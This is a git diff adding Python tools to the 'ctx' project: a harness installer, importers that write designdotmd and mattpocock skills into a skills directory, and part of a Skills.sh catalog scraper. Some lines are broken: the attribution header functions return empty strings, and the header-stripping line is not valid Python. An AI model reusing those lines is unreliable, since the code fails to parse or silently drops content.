+        if not force:
+            return InstallResult(
+                record.slug,
+                "skipped-existing",
+                target=target_path,
+                message="target already exists; pass --force to replace it",
+            )
+        shutil.rmtree(target_path)
+
+    try:
+        _materialize_source(record, target_path)
+        setup_runs: list[dict[str, Any]] = []
+        verify_runs: list[dict[str, Any]] = []
+        if approve_commands:
+            for command in record.setup_commands:
+                run = _run_command(command, cwd=target_path)
+                setup_runs.append(run)
+                if run["returncode"] != 0:
+                    raise RuntimeError(f"setup command failed: {command}")
+        if run_verify:
+            for command in record.verify_commands:
+                run = _run_command(command, cwd=target_path)
+                verify_runs.append(run)
+                if run["returncode"] != 0:
+                    raise RuntimeError(f"verify command failed: {command}")
+        manifest_path = _write_manifest(
+            record=record,
+            target=target_path,
+            manifest_dir=manifest_dir,
+            setup_runs=setup_runs,
+            verify_runs=verify_runs,
+        )
+    except Exception as exc:  # noqa: BLE001
+        return InstallResult(
+            record.slug,
+            "install-failed",
+            target=target_path,
+            message=str(exc),
+        )
+
+    return InstallResult(
+        record.slug,
+        "installed",
+        target=target_path,
+        manifest_path=manifest_path,
+    )
+
+
+def uninstall_harness(
+    identifier: str,
+    *,
+    manifest_dir: Path,
+    installs_root: Path | None = None,
+    keep_files: bool = False,
+    dry_run: bool = False,
+) -> InstallResult:
+    slug = identifier.strip()
+    try:
+        validate_skill_name(slug)
+        manifest_path = _manifest_path(manifest_dir, slug)
+        manifest = _read_manifest(manifest_dir, slug)
+    except Exception as exc:  # noqa: BLE001
+        return InstallResult(slug or identifier, "not-installed", message=str(exc))
+
+    target = Path(str(manifest.get("target") or "")).expanduser().resolve()
+    if installs_root is not None:
+        root = installs_root.expanduser().resolve()
+        if target and not _is_within(target, root):
+            return InstallResult(
+                slug,
+                "invalid-target",
+                target=target,
+                manifest_path=manifest_path,
+                message=f"manifest target is outside installs root {root}",
+            )
+
+    print(f"Uninstall harness: {slug}")
+    print(f"Target: {target}")
+    print(f"Manifest: {manifest_path}")
+    if keep_files:
+        print("Files: keep installed target; remove manifest only")
+    if dry_run:
+        return InstallResult(slug, "dry-run", target=target, manifest_path=manifest_path)
+
+    try:
+        if not keep_files and target.exists():
+            if target.is_dir():
+                shutil.rmtree(target)
+            else:
+                target.unlink()
+        manifest_path.unlink(missing_ok=True)
+    except Exception as exc:  # noqa: BLE001
+        return InstallResult(
+            slug,
+            "uninstall-failed",
+            target=target,
+            manifest_path=manifest_path,
+            message=str(exc),
+        )
+    return InstallResult(slug, "uninstalled", target=target, manifest_path=manifest_path)
+
+
+def update_harness(
+    identifier: str,
+    *,
+    wiki_path: Path,
+    installs_root: Path,
+    manifest_dir: Path,
+    dry_run: bool = False,
+    approve_commands: bool = False,
+    run_verify: bool = False,
+) -> InstallResult:
+    try:
+        record = resolve_harness(identifier, wiki_path=wiki_path)
+        manifest = _read_manifest(manifest_dir, record.slug)
+    except Exception as exc:  # noqa: BLE001
+        return InstallResult(identifier, "not-installed", message=str(exc))
+
+    target = Path(str(manifest.get("target") or "")).expanduser()
+    if not target:
+        return InstallResult(
+            record.slug,
+            "invalid-target",
+            message="install manifest does not include target",
+        )
+    if dry_run:
+        target_path = target.resolve()
+        print("Update harness:")
+        print(render_plan(record, target=target_path))
+        print("Action: replace installed target from cataloged source")
+        return InstallResult(record.slug, "dry-run", target=target_path)
+
+    result = install_harness(
+        record.slug,
+        wiki_path=wiki_path,
+        installs_root=installs_root,
+        manifest_dir=manifest_dir,
+        target=target,
+        force=True,
+        approve_commands=approve_commands,
+        run_verify=run_verify,
+    )
+    if result.status != "installed":
+        return result
+    return InstallResult(
+        record.slug,
+        "updated",
+        target=result.target,
+        manifest_path=result.manifest_path,
+        message=result.message,
+    )
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = argparse.ArgumentParser(
+        description="Install a cataloged harness into ~/.claude/harnesses"
+    )
+    parser.add_argument("identifier", help="Harness slug or repository URL")
+    parser.add_argument("--wiki", default=str(cfg.wiki_dir), help="Wiki path")
+    parser.add_argument(
+        "--installs-root",
+        default=str(_default_installs_root()),
+        help="Directory that owns harness install targets",
+    )
+    parser.add_argument(
+        "--manifest-dir",
+        default=str(_default_manifest_dir()),
+        help="Directory for harness install manifests",
+    )
+    parser.add_argument("--target", help="Install target under --installs-root")
+    parser.add_argument("--dry-run", action="store_true", help="Print plan only")
+    parser.add_argument("--force", action="store_true", help="Replace target if it exists")
+    parser.add_argument(
+        "--update",
+        action="store_true",
+        help="Replace an installed harness target from the current catalog source",
+    )
+    parser.add_argument(
+        "--uninstall",
+        action="store_true",
+        help="Remove a harness install manifest and installed target",
+    )
+    parser.add_argument(
+        "--keep-files",
+        action="store_true",
+        help="With --uninstall, remove only the manifest and keep installed files",
+    )
+    parser.add_argument(
+        "--approve-commands",
+        action="store_true",
+        help="Run cataloged setup commands after materializing the harness",
+    )
+    parser.add_argument(
+        "--run-verify",
+        action="store_true",
+        help="Run cataloged verification commands after setup/install",
+    )
+    args = parser.parse_args(argv)
+
+    wiki_path = Path(os.path.expanduser(args.wiki))
+    installs_root = Path(os.path.expanduser(args.installs_root))
+    manifest_dir = Path(os.path.expanduser(args.manifest_dir))
+    target = Path(os.path.expanduser(args.target)) if args.target else None
+
+    if args.update and args.uninstall:
+        print("Error: choose only one of --update or --uninstall", file=sys.stderr)
+        return 2
+    if args.keep_files and not args.uninstall:
+        print("Error: --keep-files requires --uninstall", file=sys.stderr)
+        return 2
+    if args.uninstall:
+        result = uninstall_harness(
+            args.identifier,
+            manifest_dir=manifest_dir,
+            installs_root=installs_root,
+            keep_files=args.keep_files,
+            dry_run=args.dry_run,
+        )
+    elif args.update:
+        result = update_harness(
+            args.identifier,
+            wiki_path=wiki_path,
+            installs_root=installs_root,
+            manifest_dir=manifest_dir,
+            dry_run=args.dry_run,
+            approve_commands=args.approve_commands,
+            run_verify=args.run_verify,
+        )
+    else:
+        result = install_harness(
+            args.identifier,
+            wiki_path=wiki_path,
+            installs_root=installs_root,
+            manifest_dir=manifest_dir,
+            target=target,
+            dry_run=args.dry_run,
+            force=args.force,
+            approve_commands=args.approve_commands,
+            run_verify=args.run_verify,
+        )
+    if result.status in {
+        "installed",
+        "updated",
+        "uninstalled",
+        "dry-run",
+        "skipped-existing",
+    }:
+        print(f"{result.status}: {result.slug}")
+        if result.target is not None:
+            print(f"target: {result.target}")
+        if result.manifest_path is not None:
+            print(f"manifest: {result.manifest_path}")
+        if result.message:
+            print(result.message)
+        return 0
+    print(f"Error: {result.message}", file=sys.stderr)
+    return 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/src/import_designdotmd_skills.py b/src/import_designdotmd_skills.py
new file mode 100644
index 0000000000000000000000000000000000000000..d44e2a9bc798e58c7b9622b656001ff5dee7f8ec
--- /dev/null
+++ b/src/import_designdotmd_skills.py
@@ -0,0 +1,212 @@
+#!/usr/bin/env python3
+"""import_designdotmd_skills.py -- Deploy designdotmd.directory designs as skills.
+
+Reads imported-skills/designdotmd/MANIFEST.json. Each entry creates
+``~/.claude/skills/designdotmd-/SKILL.md`` with:
+
+  * The upstream YAML frontmatter (name, description, colors, typography,
+    spacing, components, etc.) preserved verbatim.
+  * A ``tags:`` field injected if missing (the upstream .md doesn't carry
+    tags, but the listing API does — they're loaded from MANIFEST.json).
+  * An attribution HTML comment prepended above the frontmatter so the
+    upstream URL is visible inline.
+
+Idempotent. Re-running updates existing deployments in place.
+
+Usage:
+    python src/import_designdotmd_skills.py --dry-run
+    python src/import_designdotmd_skills.py --install
+    python src/import_designdotmd_skills.py --install --target ./custom-skills-dir
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import re
+import sys
+from pathlib import Path
+
+from ctx_config import cfg
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+IMPORT_ROOT = REPO_ROOT / "imported-skills" / "designdotmd"
+MANIFEST_PATH = IMPORT_ROOT / "MANIFEST.json"
+
+_SAFE_SLUG_RE = re.compile(r"^[a-z0-9][a-z0-9-]{0,63}$")
+
+
+def load_manifest() -> dict:
+    if not MANIFEST_PATH.exists():
+        print(f"Manifest not found: {MANIFEST_PATH}", file=sys.stderr)
+        print("Run: python imported-skills/designdotmd/build_manifest.py", file=sys.stderr)
+        sys.exit(1)
+    return json.loads(MANIFEST_PATH.read_text(encoding="utf-8"))
+
+
+def _validate(field: str, value: object, *, regex: re.Pattern[str] | None = None) -> str:
+    if not isinstance(value, str) or not value:
+        raise ValueError(f"{field}: expected non-empty string, got {type(value).__name__}")
+    if regex is not None and not regex.match(value):
+        raise ValueError(f"{field}: {value!r} failed strict format check")
+    return value
+
+
+def _resolve_within(root: Path, candidate_rel: str, *, field: str) -> Path:
+    if ".." in Path(candidate_rel).parts or candidate_rel.startswith(("/", "\\")):
+        raise ValueError(f"{field}: path traversal denied in {candidate_rel!r}")
+    resolved = (root / candidate_rel).resolve()
+    root_resolved = root.resolve()
+    try:
+        resolved.relative_to(root_resolved)
+    except ValueError as exc:
+        raise ValueError(f"{field}: {candidate_rel!r} resolves outside import root") from exc
+    return resolved
+
+
+def _render_attribution(manifest: dict, entry: dict) -> str:
+    return (
+        f"\n"
+    )
+
+
+_FM_OPEN_RE = re.compile(r"^---\s*\n(.*?)\n---", re.DOTALL)
+
+
+def _has_top_level_tags(fm_text: str) -> bool:
+    """True if the frontmatter has a ``tags:`` line at the top level
+    (not nested under typography or other keys).
+
+    The upstream design files are richly indented YAML; we only need to
+    avoid double-injecting the tags block. Top-level keys are unindented.
+    """
+    for raw in fm_text.splitlines():
+        if raw.startswith("tags:") or raw.startswith("tags ") or raw == "tags":
+            return True
+    return False
+
+
+def _inject_tags(text: str, tags: list[str]) -> str:
+    """Insert a ``tags: [...]`` line into the YAML frontmatter.
+
+    Inserts after the ``description:`` line when present (keeps the
+    common name/description/tags ordering Claude Code's skill loader
+    expects); otherwise appends just before the closing ``---``.
+
+    No-op when the frontmatter already has top-level tags.
+    """
+    if not tags:
+        return text
+    m = _FM_OPEN_RE.match(text)
+    if not m:
+        return text
+    fm = m.group(1)
+    if _has_top_level_tags(fm):
+        return text
+
+    tags_line = "tags: [" + ", ".join(tags) + "]"
+    lines = fm.splitlines()
+    insert_at = None
+    for i, raw in enumerate(lines):
+        if raw.startswith("description:") or raw.startswith("description "):
+            insert_at = i + 1
+            break
+    if insert_at is None:
+        # No description? insert at end of frontmatter
+        insert_at = len(lines)
+    new_lines = lines[:insert_at] + [tags_line] + lines[insert_at:]
+    new_fm = "\n".join(new_lines)
+    return text[:m.start(1)] + new_fm + text[m.end(1):]
+
+
+def deploy_entry(
+    entry: dict, manifest: dict, target_dir: Path, dry_run: bool,
+) -> tuple[Path, bool]:
+    slug = _validate("slug", entry.get("slug"), regex=_SAFE_SLUG_RE)
+    source_rel = _validate("source_path", entry.get("source_path"))
+    source = _resolve_within(IMPORT_ROOT, source_rel, field="source_path")
+    if not source.exists():
+        raise FileNotFoundError(f"Source design missing: {source}")
+
+    tags = entry.get("tags", []) or []
+    if not isinstance(tags, list):
+        raise ValueError(f"{slug}: tags must be a list, got {type(tags).__name__}")
+    tags = [str(t).strip().lower() for t in tags if str(t).strip()]
+
+    skill_dir = target_dir / f"designdotmd-{slug}"
+    dest_resolved = skill_dir.resolve()
+    target_resolved = target_dir.resolve()
+    try:
+        dest_resolved.relative_to(target_resolved)
+    except ValueError as exc:
+        raise ValueError(f"skill dir {skill_dir} resolves outside target_dir") from exc
+
+    dest_skill = skill_dir / "SKILL.md"
+    body = source.read_text(encoding="utf-8")
+    # Strip a prior attribution header if present so the rewrite is idempotent.
+    if body.startswith("", 1)[1].lstrip("\n")
+    body = _inject_tags(body, tags)
+    content = _render_attribution(manifest, entry) + body
+
+    changed = True
+    if dest_skill.exists():
+        changed = dest_skill.read_text(encoding="utf-8") != content
+
+    if not dry_run and changed:
+        skill_dir.mkdir(parents=True, exist_ok=True)
+        dest_skill.write_text(content, encoding="utf-8")
+
+    return dest_skill, changed
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--install", action="store_true")
+    parser.add_argument("--dry-run", action="store_true")
+    parser.add_argument(
+        "--target",
+        default=str(cfg.skills_dir),
+        help=f"Target skills dir (default: {cfg.skills_dir})",
+    )
+    args = parser.parse_args()
+    if not args.install and not args.dry_run:
+        parser.error("Pass either --install or --dry-run")
+
+    manifest = load_manifest()
+    target_dir = Path(args.target).expanduser()
+    if args.install and not target_dir.exists():
+        print(f"Creating target dir: {target_dir}")
+        target_dir.mkdir(parents=True, exist_ok=True)
+
+    new_or_updated = 0
+    unchanged = 0
+    for entry in manifest["entries"]:
+        dest, changed = deploy_entry(entry, manifest, target_dir, dry_run=args.dry_run)
+        marker = "UPD" if changed else "   "
+        if changed:
+            new_or_updated += 1
+        else:
+            unchanged += 1
+        # Quiet mode after first 5 to avoid 156-line output noise
+        if changed and (new_or_updated <= 5 or new_or_updated == len(manifest["entries"])):
+            print(f"  [{marker}] {dest.relative_to(target_dir.parent)}")
+        elif new_or_updated == 6:
+            print(f"  ... ({len(manifest['entries']) - 5} more) ...")
+
+    mode = "dry-run" if args.dry_run else "install"
+    print()
+    print(f"Mode: {mode}  target: {target_dir}")
+    print(f"Entries: {len(manifest['entries'])}  new/updated: {new_or_updated}  unchanged: {unchanged}")
+    if args.install:
+        print()
+        print("Next steps:")
+        print("  python src/catalog_builder.py")
+        print("  python src/wiki_batch_entities.py --all")
+        print("  python -m ctx.core.wiki.wiki_graphify")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/import_mattpocock_skills.py b/src/import_mattpocock_skills.py
new file mode 100644
index 0000000000000000000000000000000000000000..2b7062c305077a426e090f3a090e83287112dea6
--- /dev/null
+++ b/src/import_mattpocock_skills.py
@@ -0,0 +1,166 @@
+#!/usr/bin/env python3
+"""import_mattpocock_skills.py -- Deploy mattpocock/skills into ~/.claude/skills.
+
+Reads imported-skills/mattpocock/MANIFEST.json. Each entry creates a directory
+named ``mattpocock-``, copies SKILL.md (with attribution header
+prepended), and copies any support files (ADR-FORMAT.md, deep-modules.md,
+scripts/, etc.) verbatim.
+
+Idempotent. Safe to re-run.
+
+Usage:
+    python src/import_mattpocock_skills.py --dry-run
+    python src/import_mattpocock_skills.py --install
+    python src/import_mattpocock_skills.py --install --target ./custom-skills-dir
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import re
+import shutil
+import sys
+from pathlib import Path
+
+from ctx_config import cfg
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+IMPORT_ROOT = REPO_ROOT / "imported-skills" / "mattpocock"
+MANIFEST_PATH = IMPORT_ROOT / "MANIFEST.json"
+
+_SAFE_SLUG_RE = re.compile(r"^[a-z0-9][a-z0-9-]{0,63}$")
+
+
+def load_manifest() -> dict:
+    if not MANIFEST_PATH.exists():
+        print(f"Manifest not found: {MANIFEST_PATH}", file=sys.stderr)
+        print("Run: python imported-skills/mattpocock/build_manifest.py", file=sys.stderr)
+        sys.exit(1)
+    return json.loads(MANIFEST_PATH.read_text(encoding="utf-8"))
+
+
+def _validate(field: str, value: object, *, regex: re.Pattern[str] | None = None) -> str:
+    if not isinstance(value, str) or not value:
+        raise ValueError(f"{field}: expected non-empty string, got {type(value).__name__}")
+    if regex is not None and not regex.match(value):
+        raise ValueError(f"{field}: {value!r} failed strict format check")
+    return value
+
+
+def _resolve_within(root: Path, candidate_rel: str, *, field: str) -> Path:
+    if ".." in Path(candidate_rel).parts or candidate_rel.startswith(("/", "\\")):
+        raise ValueError(f"{field}: path traversal denied in {candidate_rel!r}")
+    resolved = (root / candidate_rel).resolve()
+    root_resolved = root.resolve()
+    try:
+        resolved.relative_to(root_resolved)
+    except ValueError as exc:
+        raise ValueError(f"{field}: {candidate_rel!r} resolves outside import root") from exc
+    return resolved
+
+
+def render_attribution_header(manifest: dict) -> str:
+    return (
+        f"\n"
+    )
+
+
+def deploy_entry(entry: dict, manifest: dict, target_dir: Path, dry_run: bool) -> tuple[Path, bool, list[Path]]:
+    slug = _validate("slug", entry.get("slug"), regex=_SAFE_SLUG_RE)
+    source_path_raw = _validate("source_path", entry.get("source_path"))
+    source = _resolve_within(IMPORT_ROOT, source_path_raw, field="source_path")
+    if not source.exists():
+        raise FileNotFoundError(f"Source skill missing: {source}")
+    source_dir = source.parent
+
+    skill_dir = target_dir / f"mattpocock-{slug}"
+    dest_resolved = skill_dir.resolve()
+    target_resolved = target_dir.resolve()
+    try:
+        dest_resolved.relative_to(target_resolved)
+    except ValueError as exc:
+        raise ValueError(f"skill dir {skill_dir} resolves outside target_dir") from exc
+
+    dest_skill = skill_dir / "SKILL.md"
+    header = render_attribution_header(manifest)
+    body = source.read_text(encoding="utf-8")
+    if body.startswith("", 1)[1].lstrip("\n")
+    content = header + body
+
+    changed = True
+    if dest_skill.exists():
+        existing = dest_skill.read_text(encoding="utf-8")
+        changed = existing != content
+
+    support_paths: list[Path] = []
+    for rel in entry.get("support_files", []):
+        # Validate each support file rel-path against the source dir.
+        sp = _resolve_within(source_dir, rel, field="support_files")
+        if sp.is_file():
+            support_paths.append(sp)
+
+    if not dry_run:
+        if changed:
+            skill_dir.mkdir(parents=True, exist_ok=True)
+            dest_skill.write_text(content, encoding="utf-8")
+        for sp in support_paths:
+            rel = sp.relative_to(source_dir)
+            dest_support = skill_dir / rel
+            dest_support.parent.mkdir(parents=True, exist_ok=True)
+            if not dest_support.exists() or dest_support.read_bytes() != sp.read_bytes():
+                shutil.copy2(sp, dest_support)
+                changed = True
+
+    return dest_skill, changed, support_paths
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--install", action="store_true")
+    parser.add_argument("--dry-run", action="store_true")
+    parser.add_argument(
+        "--target",
+        default=str(cfg.skills_dir),
+        help=f"Target skills dir (default: {cfg.skills_dir})",
+    )
+    args = parser.parse_args()
+    if not args.install and not args.dry_run:
+        parser.error("Pass either --install or --dry-run")
+
+    manifest = load_manifest()
+    target_dir = Path(args.target).expanduser()
+    if args.install and not target_dir.exists():
+        print(f"Creating target dir: {target_dir}")
+        target_dir.mkdir(parents=True, exist_ok=True)
+
+    new_or_updated = 0
+    unchanged = 0
+    for entry in manifest["entries"]:
+        dest, changed, support = deploy_entry(entry, manifest, target_dir, dry_run=args.dry_run)
+        marker = "UPD" if changed else "   "
+        if changed:
+            new_or_updated += 1
+        else:
+            unchanged += 1
+        suffix = f"  (+{len(support)} support)" if support else ""
+        print(f"  [{marker}] {dest.relative_to(target_dir.parent)}{suffix}")
+
+    mode = "dry-run" if args.dry_run else "install"
+    print()
+    print(f"Mode: {mode}  target: {target_dir}")
+    print(f"Entries: {len(manifest['entries'])}  new/updated: {new_or_updated}  unchanged: {unchanged}")
+    if args.install:
+        print()
+        print("Next steps:")
+        print(f"  ctx-catalog-builder --wiki {cfg.wiki_dir} --skills-dir {target_dir} \\")
+        print(f"      --agents-dir {cfg.agents_dir}")
+        print("  ctx-wiki-batch-entities --all")
+        print("  ctx-wiki-graphify")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/import_skills_sh_catalog.py b/src/import_skills_sh_catalog.py
new file mode 100644
index 0000000000000000000000000000000000000000..a9ea80b14b9d49e73f40f8bb7dc4476f244e955e
--- /dev/null
+++ b/src/import_skills_sh_catalog.py
@@ -0,0 +1,1157 @@
+#!/usr/bin/env python3
+"""Import Skills.sh search metadata into ctx's shipped graph artifacts.
+
+The Skills.sh API exposes search, not a single full-catalog export. This
+script supports both:
+
+* ``--fetch``: build a best-effort full catalog by querying all safe
+  two-character alphanumeric terms plus a few high-yield domain terms.
+* ``--from-api-union``: normalize a previously fetched union JSON.
+
+It writes ``graph/skills-sh-catalog.json.gz`` and can inject the catalog into
+``graph/wiki-graph.tar.gz`` as:
+
+* ``external-catalogs/skills-sh/catalog.json`` for machine reads.
+* ``entities/skills/.md`` remote-cataloged skill pages for browsing.
+* first-class ``skill`` graph nodes with Skills.sh provenance, connected
+  sparsely to curated entities by exact duplicate metadata or meaningful
+  shared tags.
+
+These records are graph-visible but not curated local skills: the canonical
+SKILL.md bodies remain upstream until a human promotes a candidate.
+"""
+
+from __future__ import annotations
+
+import argparse
+import concurrent.futures as cf
+import gzip
+import hashlib
+import json
+import math
+import re
+import string
+import tarfile
+import tempfile
+import time
+import urllib.parse
+import urllib.request
+import xml.etree.ElementTree as ET
+from dataclasses import dataclass
+from datetime import datetime, timezone
+from html.parser import HTMLParser
+from io import BytesIO
+from pathlib import Path
+from typing import Any
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+DEFAULT_CATALOG_OUT = REPO_ROOT / "graph" / "skills-sh-catalog.json.gz"
+DEFAULT_WIKI_TAR = REPO_ROOT / "graph" / "wiki-graph.tar.gz"
+SKILLS_SH_API = "https://skills.sh/api/search"
+SKILLS_SH_HOME = "https://skills.sh/"
+SKILLS_SH_SITEMAP = "https://skills.sh/sitemap.xml"
+USER_AGENT = "ctx-skills-sh-import/0.1 (+https://github.com/stevesolun/ctx)"
+SKILLS_SH_NODE_PREFIX = "skill:"
+LEGACY_EXTERNAL_NODE_PREFIX = "external-skill:skills-sh:"
+MAX_EXTERNAL_EDGES_PER_NODE = 2
+EXTERNAL_ENTITY_ROOT = "entities/external-skills"
+SKILLS_SH_ENTITY_ROOT = "entities/skills"
+DEFAULT_DETAIL_MAX_BYTES = 2_000_000
+DEFAULT_SKILL_BODY_MAX_CHARS = 120_000
+
+_TOKEN_RE = re.compile(r"[a-z0-9]+")
+_SAFE_SLUG_RE = re.compile(r"[^a-z0-9]+")
+_VOID_HTML_TAGS = {
+    "area", "base", "br", "col", "embed", "hr", "img", "input", "link", "meta",
+    "param", "source", "track", "wbr",
+}
+_NOISY_EXTERNAL_EDGE_TAGS = {
+    "skills-sh", "skill", "skills", "ai", "agent", "agents", "api", "web", "code",
+}
+_COMMON_TAGS = {
+    "ai", "api", "agent", "agents", "anthropic", "automation", "aws", "azure",
+    "claude", "cloud", "code", "codex", "css", "data", "database", "deploy",
+    "design", "devops", "docker", "docs", "fastapi", "frontend", "github",
+    "google", "javascript", "kubernetes", "llm", "mcp", "microsoft", "nextjs",
+    "node", "openai", "performance", "playwright", "postgres", "python",
+    "react", "security", "skill", "testing", "typescript", "vercel", "web",
+}
+_TAG_ALIASES = {
+    "doc": "docs",
+    "next": "nextjs",
+    "next.js": "nextjs",
+    "skills": "skill",
+    "js": "javascript",
+    "ts": "typescript",
+    "k8s": "kubernetes",
+    "postgresql": "postgres",
+}
+
+
+@dataclass(frozen=True)
+class ExistingWikiIndex:
+    skill_slugs: set[str]
+    skill_ids: set[str]
+
+
+def _utc_now() -> str:
+    return datetime.now(timezone.utc).replace(microsecond=0).isoformat()
+
+
+def _slugify(value: str, *, max_len: int = 140) -> str:
+    slug = _SAFE_SLUG_RE.sub("-", value.lower()).strip("-")
+    return slug[:max_len].strip("-") or "unknown"
+
+
+def _ctx_slug(source: str, skill_id: str) -> str:
+    return "skills-sh-" + _slugify(f"{source}-{skill_id}", max_len=128)
+
+
+def _unique_ctx_slug(base_slug: str, full_id: str, seen_slugs: set[str]) -> tuple[str, bool]:
+    if base_slug not in seen_slugs:
+        seen_slugs.add(base_slug)
+        return base_slug, False
+    for salt in range(1000):
+        digest = hashlib.sha1(f"{full_id}:{salt}".encode("utf-8")).hexdigest()[:10]
+        stem = base_slug[: 140 - len(digest) - 1].rstrip("-") or "skills-sh"
+        candidate = f"{stem}-{digest}"
+        if candidate not in seen_slugs:
+            seen_slugs.add(candidate)
+            return candidate, True
+    raise ValueError(f"could not allocate unique ctx slug for {full_id!r}")
+
+
+def _is_site_source(source: str) -> bool:
+    return "/" not in source and "." in source
+
+
+def _detail_url(source: str, skill_id: str) -> str:
+    if _is_site_source(source):
+        return "https://skills.sh/site/" + "/".join(
+            urllib.parse.quote(p, safe="") for p in (source, skill_id)
+        )
+    return "https://skills.sh/" + "/".join(
+        urllib.parse.quote(p, safe="") for p in (*source.split("/"), skill_id)
+    )
+
+
+def _install_command(source: str, skill_id: str) -> str:
+    if _is_site_source(source):
+        return f"npx skills add https://{source}"
+    if "/" in source and not source.startswith(("http://", "https://")):
+        return f"npx skills add https://github.com/{source} --skill {skill_id}"
+    return f"npx skills add {source} --skill {skill_id}"
+
+
+def _infer_tags(*parts: str) -> list[str]:
+    raw_tokens: list[str] = []
+    for part in parts:
+        raw_tokens.extend(_TOKEN_RE.findall(part.lower()))
+    tags: list[str] = []
+    seen: set[str] = set()
+    for token in raw_tokens:
+        tag = _TAG_ALIASES.get(token, token)
+        if tag in _COMMON_TAGS and tag not in seen:
+            seen.add(tag)
+            tags.append(tag)
+    return tags or ["skills-sh"]
+
+
+def _read_site_reported_total() -> int | None:
+    req = urllib.request.Request(SKILLS_SH_HOME, headers={"User-Agent": USER_AGENT})
+    try:
+        with urllib.request.urlopen(req, timeout=30) as response:
+            text = response.read().decode("utf-8", errors="replace")
+    except OSError:
+        return None
+    match = re.search(r'\\"totalSkills\\":(\d+)', text)
+    if not match:
+        match = re.search(r'"totalSkills":(\d+)', text)
+    return int(match.group(1)) if match else None
+
+
+def _read_sitemap_records() -> list[dict[str, Any]]:
+    req = urllib.request.Request(SKILLS_SH_SITEMAP, headers={"User-Agent": USER_AGENT})
+    try:
+        with urllib.request.urlopen(req, timeout=60) as response:
+            xml_text = response.read().decode("utf-8", errors="replace")
+    except OSError:
+        return []
+    try:
+        root = ET.fromstring(xml_text)
+    except ET.ParseError:
+        return []
+    records: list[dict[str, Any]] = []
+    ns = {"sm": "http://www.sitemaps.org/schemas/sitemap/0.9"}
+    locs = root.findall(".//sm:loc", ns) or root.findall(".//loc")
+    for loc in locs:
+        url = (loc.text or "").strip()
+        if not url.startswith("https://skills.sh/"):
+            continue
+        raw_parts = url.removeprefix("https://skills.sh/").strip("/").split("/")
+        parts = [urllib.parse.unquote(p) for p in raw_parts]
+        if len(parts) == 3 and parts[0] == "site":
+            source, skill_id = parts[1], parts[2]
+            full_id = f"{source}/{skill_id}"
+        elif len(parts) == 3 and parts[0] not in {"picks", "site"}:
+            source, skill_id = f"{parts[0]}/{parts[1]}", parts[2]
+            full_id = f"{source}/{skill_id}"
+        else:
+            continue
+        records.append({
+            "id": full_id,
+            "source": source,
+            "skillId": skill_id,
+            "name": skill_id,
+            "installs": 0,
+            "_from_sitemap": True,
+        })
+    return records
+
+
+def _fetch_query(
+    query: str, *, limit: int, delay_seconds: float = 0.0,
+) -> tuple[str, list[dict[str, Any]], str | None]:
+    if delay_seconds > 0:
+        time.sleep(delay_seconds)
+    url = SKILLS_SH_API + "?" + urllib.parse.urlencode({"q": query, "limit": str(limit)})
+    req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
+    try:
+        with urllib.request.urlopen(req, timeout=90) as response:
+            payload = json.loads(response.read().decode("utf-8"))
+    except Exception as exc:  # noqa: BLE001 - preserve query-level failures in metadata.
+        return query, [], f"{type(exc).__name__}: {exc}"
+    skills = payload.get("skills") or []
+    if not isinstance(skills, list):
+        return query, [], "response.skills was not a list"
+    return query, [s for s in skills if isinstance(s, dict)], None
+
+
+class _SkillBodyParser(HTMLParser):
+    def __init__(self) -> None:
+        super().__init__(convert_charrefs=True)
+        self.parts: list[str] = []
+        self._capture_depth = 0
+        self._pre_depth = 0
+
+    def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
+        tag = tag.lower()
+        if self._capture_depth == 0:
+            if tag == "div" and self._has_prose_class(attrs):
+                self._capture_depth = 1
+            return
+        if tag in _VOID_HTML_TAGS:
+            if tag in {"br", "hr"}:
+                self._push("\n")
+            return
+        self._capture_depth += 1
+        if tag in {"h1", "h2", "h3"}:
+            self._push("\n" + {"h1": "# ", "h2": "## ", "h3": "### "}[tag])
+        elif tag in {"h4", "h5", "h6"}:
+            self._push("\n#### ")
+        elif tag in {"p", "pre", "blockquote", "ul", "ol", "div", "section", "article"}:
+            self._push("\n")
+        elif tag == "li":
+            self._push("\n- ")
+        elif tag == "br":
+            self._push("\n")
+        if tag == "pre":
+            self._pre_depth += 1
+
+    def handle_startendtag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
+        if self._capture_depth > 0 and tag.lower() == "br":
+            self._push("\n")
+
+    def handle_endtag(self, tag: str) -> None:
+        tag = tag.lower()
+        if self._capture_depth == 0:
+            return
+        if tag in {
+            "h1", "h2", "h3", "h4", "h5", "h6", "p", "pre", "blockquote",
+            "li", "ul", "ol", "div", "section", "article",
+        }:
+            self._push("\n")
+        if tag == "pre" and self._pre_depth > 0:
+            self._pre_depth -= 1
+        self._capture_depth -= 1
+
+    def handle_data(self, data: str) -> None:
+        if self._capture_depth == 0:
+            return
+        text = data.strip("\r\n") if self._pre_depth else re.sub(r"\s+", " ", data)
+        if text.strip():
+            self._push(text.strip() if not self._pre_depth else text)
+
+    @staticmethod
+    def _has_prose_class(attrs: list[tuple[str, str | None]]) -> bool:
+        for name, value in attrs:
+            if name.lower() != "class" or not value:
+                continue
+            if "prose" in value.split():
+                return True
+        return False
+
+    def _push(self, value: str) -> None:
+        if (
+            self.parts
+            and value
+            and not value.startswith(("\n", " ", ".", ",", ":", ";", ")", "]"))
+            and not self.parts[-1].endswith(("\n", " ", "(", "[", "# ", "## ", "### ", "#### "))
+        ):
+            self.parts.append(" ")
+        self.parts.append(value)
+
+
+def _normalize_skill_body_text(text: str) -> str:
+    lines = [line.rstrip() for line in text.splitlines()]
+    normalized = "\n".join(lines).strip()
+    normalized = re.sub(r"\n{3,}", "\n\n", normalized)
+    return normalized
+
+
+def _extract_skill_body_from_detail_html(html_text: str) -> str:
+    parser = _SkillBodyParser()
+    parser.feed(html_text)
+    parser.close()
+    return _normalize_skill_body_text("".join(parser.parts))
+
+
